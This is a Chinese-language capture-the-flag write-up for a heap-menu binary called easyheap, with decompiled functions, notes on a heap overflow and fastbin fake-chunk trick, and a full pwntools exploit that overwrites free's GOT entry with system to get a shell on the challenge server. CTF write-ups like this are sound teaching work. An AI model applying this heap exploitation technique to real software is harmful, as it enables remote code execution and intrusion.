1.checksec
经典堆菜单
2.IDA
MENU
1.create
unsigned __int64 create_heap()
{
int i; // [rsp+4h] [rbp-1Ch]
size_t size; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !*(&heaparray + i) )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
size = atoi(buf);
*(&heaparray + i) = malloc(size);
if ( !*(&heaparray + i) )
{
puts("Allocate Error");
exit(2);
}
printf("Content of heap:");
read_input(*(&heaparray + i), size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v4;
}
}
return __readfsqword(0x28u) ^ v4;
}
最多10个堆块
heaparray表维护堆块指针
堆块指针表的开头,fake_chunk的地址要在其前面找
伪造 chunk 至 heaparray 附近,malloc fastbin 时需要绕过大小判断,利用地址开头 7f 来伪造大小为 0x70 的 fastbin
2.edit
unsigned __int64 edit_heap()
{
int v1; // [rsp+4h] [rbp-1Ch]
__int64 v2; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
v2 = atoi(buf);
printf("Content of heap : ");
read_input(*(&heaparray + v1), v2);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v4;
}
可以重新定义输入的长度,利用堆溢出
3.delete
unsigned __int64 delete_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
free(*(&heaparray + v1));
*(&heaparray + v1) = 0LL;
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
free之后置0,不能利用uaf/double free
133t
有system函数
通过伪造的 fastbin 输入内容覆盖 chunk 0 的地址为 free_got 的地址
编辑 chunk 0 将 free_got 地址改为 system 的地址。
free chunk 1 就会执行 system('/bin/sh') get shell
3.EXP
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#sh = process('./easyheap')
sh = remote("node4.buuoj.cn",25823)
sh.sendafter('Your choice :','1\n') #0 heap
sh.sendafter('Size of Heap : ','96\n')
sh.sendafter('Content of heap:','\n')
sh.sendafter('Your choice :','1\n') #1 heap
sh.sendafter('Size of Heap : ','96\n')
sh.sendafter('Content of heap:','\n')
sh.sendafter('Your choice :','3\n') # free 1
sh.sendafter('Index :','1\n')
x = p64(0x0) * 13 + p64(0x71) + p64(0x6020ad) + p64(0x0)
sh.sendafter('Your choice :','2\n')
sh.sendafter('Index :','0\n')
sh.sendafter('Size of Heap : ','1000\n')
sh.sendafter('Content of heap : ',x)
#gdb.attach(sh)
sh.sendafter('Your choice :','1\n') #1 heap
sh.sendafter('Size of Heap : ','96\n')
sh.sendafter('Content of heap:','\n')
#gdb.attach(sh)
sh.sendafter('Your choice :','1\n') #2 heap (0x6020ad)
sh.sendafter('Size of Heap : ','96\n')
sh.sendafter('Content of heap:','\n')
x = 'A' * 35 + p64(0x602018) #free_got
sh.sendafter('Your choice :','2\n')
sh.sendafter('Index :','2\n')
sh.sendafter('Size of Heap : ','1000\n')
sh.sendafter('Content of heap : ',x)
x = p64(0x400700) #system_plt
sh.sendafter('Your choice :','2\n')
sh.sendafter('Index :','0\n')
sh.sendafter('Size of Heap : ','1000\n')
sh.sendafter('Content of heap : ',x)
x = '/bin/sh' + '\x00'
sh.sendafter('Your choice :','2\n')
sh.sendafter('Index :','1\n')
sh.sendafter('Size of Heap : ','1000\n')
sh.sendafter('Content of heap : ',x)
sh.sendafter('Your choice :','3\n')
sh.sendafter('Index :','1\n')
#gdb.attach(sh)
sh.interactive()